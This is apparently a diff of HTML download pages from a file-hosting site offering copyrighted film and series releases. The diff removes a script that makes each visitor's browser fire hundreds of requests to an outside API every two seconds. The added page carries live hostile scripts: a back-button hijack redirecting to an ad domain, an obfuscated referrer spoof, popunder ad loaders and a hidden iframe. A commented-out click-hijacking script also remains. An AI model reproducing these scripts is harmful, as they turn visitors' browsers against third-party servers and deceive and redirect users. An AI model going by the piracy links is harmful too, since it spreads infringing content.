<a href="https://pixel.hubcdn.fans/?id=4cbb9dc94a8c4698314305f887e913c3e7fef7f000d3da8d2bd1f4d6a1dca4d45fb98f415eea4192a2aeb35f6accfac5767d8eddd50fad89c724bb8075ae2dbe2e2987753b74253cf00625ede66ea0ec8ea4150eebb24be8a9e70bf70563d808::54473e647fcc8c02ec47d4d732f45d14" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
<a href="https://pixel.hubcdn.fans/?id=d4697e0d4f27ea5067265503a820f05245ffd2d64a88ce6ecce4e18b6cace173bebc13920763a92baeaefe65f8c8a26efd836a0c1b3e92b4ce717874a5ff26a0764642b8090a5f7ef227bdb0bd6744ea8aa7edc43957e94b6ac9d2034c5a1d29::bada52a274d97488e2e76c1718bc16f5" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||||
|
|
||||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||||
|
|
@ -204,18 +215,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||||
|
<a href="https://pixeldrain.dev/u/2kFQBQio" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download File [3.15 GB]</a>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://ddl2.cloudserver-1692964037.workers.dev/1397313204/31f8b5a9e6a1a2e056ef0905797230a1f28057dc1e4d12e6843c03ac6bfdf7d87889a636620b547798bce78d1647ebb482a308c38e4149f422bc3afb2b6f7d171a63e1ff2029b7f90c72181d26989a4de3c23f7b316ee3138fc1dd9c2612d8c8dae2b4c5297f87320ffcb63d71429bde3258ec121653bd4c6f49f372465f13acf7bcc770f52f649c1c65c7cc54d18ed36620a55ccb9bbef084af996524ea69df8191345e6dba2f8398d7b5c3ef2500a32bd2e147507a1741efe63c902d8e1821::61c7925f0014900c78f913a268a069bf/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
|
||||||
<p style="
|
|
||||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -224,7 +233,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
<br>
|
<br>
|
||||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram 🔥</a>
|
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTdPK3lOM0QyOHJmbyt6Q3dlVEN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram </a>
|
||||||
|
|
||||||
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||||
|
|
||||||
|
|
@ -241,7 +250,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
if(isAndroid()){
|
if(isAndroid()){
|
||||||
android_launch.classList.remove("d-none");
|
android_launch.classList.remove("d-none");
|
||||||
android_launch.addEventListener('click', ()=>{
|
android_launch.addEventListener('click', ()=>{
|
||||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv',scheme: 'https',type: 'video/x-matrosk',
|
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||||
});anchor.click();
|
});anchor.click();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -278,7 +287,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
|
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
<script>
|
<script>
|
||||||
|
|
@ -307,16 +316,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
Msc
|
Msc
|
||||||
|
|
||||||
|
<video autoplay muted playsinline preload="metadata" hidden>
|
||||||
|
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||||
|
|
||||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
<!--2dl-->
|
<!--2dl-->
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||||
</body>
|
</body>
|
||||||
</html><script>
|
</html><script>
|
||||||
window.sessionStorage.setItem('xl',window.location.href)
|
window.sessionStorage.setItem('xl',window.location.href)
|
||||||
|
|
@ -326,25 +341,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
||||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<script>
|
|
||||||
function x(){
|
|
||||||
for (let i = 0; i < 369; i++) {
|
|
||||||
|
|
||||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
|
||||||
"method": "GET",
|
|
||||||
"mode": "no-cors",
|
|
||||||
"referrerPolicy": 'no-referrer',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
x();
|
|
||||||
const intervalId = setInterval(() => {
|
|
||||||
x();
|
|
||||||
}, 2000)
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||||
<!--</script>-->
|
<!--</script>-->
|
||||||
|
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||||
|
|
||||||
|
|
@ -0,0 +1,355 @@
|
||||||
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10553222',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||||
|
<script>
|
||||||
|
document.addEventListener("DOMContentLoaded", function() {
|
||||||
|
history.pushState(null, null, location.href);
|
||||||
|
window.onpopstate = function () {
|
||||||
|
history.go(1);
|
||||||
|
window.location.href = 'https://push-me-once.com/go/1272663';
|
||||||
|
};
|
||||||
|
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||||
|
</script>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="referrer" content="no-referrer"/>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
|
||||||
|
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||||
|
|
||||||
|
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<style>
|
||||||
|
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||||
|
.btn-success1 {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #28a745;
|
||||||
|
border-color: #28a745;
|
||||||
|
display: inline-block;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1rem;
|
||||||
|
letter-spacing: .4px;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
font-weight: 600;
|
||||||
|
text-decoration:none !important;
|
||||||
|
vertical-align: middle;
|
||||||
|
-webkit-user-select: none;
|
||||||
|
-moz-user-select: none;
|
||||||
|
-ms-user-select: none;
|
||||||
|
user-select: none;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
padding: .375rem .75rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
border-radius: .30rem;
|
||||||
|
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||||
|
}
|
||||||
|
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #1e7e34;
|
||||||
|
border-color: #1c7430;
|
||||||
|
}
|
||||||
|
.btn-success1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #218838;
|
||||||
|
border-color: #1e7e34;
|
||||||
|
}
|
||||||
|
.btn-success1.focus, .btn-success1:focus {
|
||||||
|
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||||
|
}
|
||||||
|
.btn-lg, .btn-group-lg > .btn2 {
|
||||||
|
padding: .5rem .6rem !important;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
letter-spacing: .1px;
|
||||||
|
border-radius: 0.35rem!important;
|
||||||
|
}
|
||||||
|
.ads-btns {
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden
|
||||||
|
}
|
||||||
|
.ads-btns a.btn2 {
|
||||||
|
min-width: 40%
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg {
|
||||||
|
fill: #fff;
|
||||||
|
width: 17px;
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: #fff
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: transparent
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child {
|
||||||
|
right: 20px
|
||||||
|
}
|
||||||
|
.downloads-btns-div .btn2 {
|
||||||
|
margin: 0 3px 12px
|
||||||
|
}
|
||||||
|
.btn2 {
|
||||||
|
font-style: normal;
|
||||||
|
font-weight: 500;
|
||||||
|
font-size: 14px;
|
||||||
|
text-align: center;
|
||||||
|
text-transform: uppercase;
|
||||||
|
border: 2px solid #cbfc01;
|
||||||
|
padding: 10px 15px;
|
||||||
|
border-radius: 6px;
|
||||||
|
-webkit-border-radius: 6px;
|
||||||
|
-moz-border-radius: 6px;
|
||||||
|
background: #0ebac3;
|
||||||
|
color: #000;
|
||||||
|
display: inline-block;
|
||||||
|
text-decoration: none;
|
||||||
|
background: #cbfc01
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
.btn-zip {
|
||||||
|
border-color: #00d0ff;
|
||||||
|
background: #00d0ff;
|
||||||
|
color: #000
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<center>
|
||||||
|
<br/>
|
||||||
|
<div class="header">
|
||||||
|
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="card-body">
|
||||||
|
<h2>
|
||||||
|
<div class="main" id="section2">
|
||||||
|
|
||||||
|
<div class="card h6">
|
||||||
|
|
||||||
|
<div class="card-header text-white bg-primary mb-3">
|
||||||
|
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
|
||||||
|
|
||||||
|
<div class="card-body">
|
||||||
|
<ul class="list-group">
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">24-Mar-2026 05:58:31</i></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<p class="h3 text-success">Download Link Generated</p>
|
||||||
|
<div class="input-group mb-3">
|
||||||
|
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/p94k4dccjwxjcx4" readonly="" id="ilink">
|
||||||
|
<div class="input-group-prepend">
|
||||||
|
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Banners -->
|
||||||
|
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||||
|
<!-- Mobile Banners -->
|
||||||
|
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||||
|
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
|
||||||
|
|
||||||
|
<div class="alert alert-warning h6" role="alert">
|
||||||
|
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://cdn.fsl-buckets.life/Goat 2026 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-BYNDR-4kHdHub.mkv?token=af180cafc2418c7c47249d0167ba9704" id="s3" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #2d50e2d1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [FSLv2 Server]</a>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('s3');
|
||||||
|
if (fsl) fsl.href += '_1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="ad-container"></div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="ad-containerx"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('fsl');
|
||||||
|
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://pixel.hubcdn.fans/?id=9ca5a77d1f6a5e30157f1ba9335f5f37c246c28a9362693731d08440ebf515ae0bad03a3f054cc1cfc5fd342ead92bee375037aa0be4a07cce23c85320203685335142526fc508a5afc2ef06e1369c99fee1345a55224cddce65e250a0c33632::b31f4889dde70a376ef549e8fa698de9" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||||
|
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||||
|
|
||||||
|
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||||
|
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
|
||||||
|
let host_ = host.replace('https://', '');
|
||||||
|
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
|
||||||
|
}
|
||||||
|
function isAndroid() {
|
||||||
|
return /Android/i.test(navigator.userAgent);
|
||||||
|
}
|
||||||
|
|
||||||
|
const android_launch = document.getElementById('android_launch');
|
||||||
|
if(isAndroid()){
|
||||||
|
android_launch.classList.remove("d-none");
|
||||||
|
android_launch.addEventListener('click', ()=>{
|
||||||
|
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722',scheme: 'https',type: 'video/x-matrosk',
|
||||||
|
});anchor.click();
|
||||||
|
});
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</h2>
|
||||||
|
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
